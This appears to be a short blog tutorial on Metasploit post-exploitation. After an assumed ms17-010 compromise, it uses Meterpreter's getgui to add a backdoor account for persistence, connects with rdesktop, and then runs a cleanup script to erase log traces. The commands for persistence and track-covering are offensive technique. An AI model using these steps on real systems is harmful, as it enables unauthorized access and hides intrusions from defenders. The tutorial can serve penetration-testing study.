21st December 2024

MSF Remote Desktop Module – rdesktop

One of the operations that can be done when you open a shell with Meterpreter in the Metasploit Framework is to implement the remote desktop connection. The getgui command is very useful for this. In this article, we will see how we can create a user in the system using the getgui command and then connect to this computer with the rdesktop command.

Remote Desktop Connection

We assume that you have opened a Meterpreter shell on the target computer with a vulnerability (for example ms17-010).

ms17-010
ms17-010

 

We need the username and password required to visually link using the “getgui” command. When you create a username and password, you will ensure permanence.

getgui Tool

First, we will get information about the tool by using the getgui -h command.

run getgui -h
run getgui -h
run getgui -h

 

Adding Users with getgui

In general, -u is used to indicating the username and -p to indicate the password. When you use the getgui command similar to the example below, you add a new user to the system.

run getgui -u omer -p password
Adding Users with getgui
Adding Users with getgui

 

Remote Connection with rdesktop

We created the user. Using this username and password, you can make a remote desktop connection from another computer on the same network.

rdesktop -u omer -p password 192.168.254.146
Remote Connection with rdesktop
Remote Connection with rdesktop

 

Log Cleaning

Finally, the more you manipulate the target system, the more likely you are to be logged. You should not take unauthorized action as much as possible or be content with intervening where necessary.

You may want to clear the log records of the user and session information you created with getgui. You can use the following command example for this. You can check the latest version of the “/root/.msf4/logs/scripts/getgui/clean_up__20210118.3139.rc” file used in the example from within the same folder.

run multi_console_command -r /root/.msf4/logs/scripts/getgui/clean_up__20210118.3139.rc
Log Cleaning
Log Cleaning

 

LEARN MORE  Idle Targets for Hackers - IoT Devices

Leave a Reply

Your email address will not be published. Required fields are marked *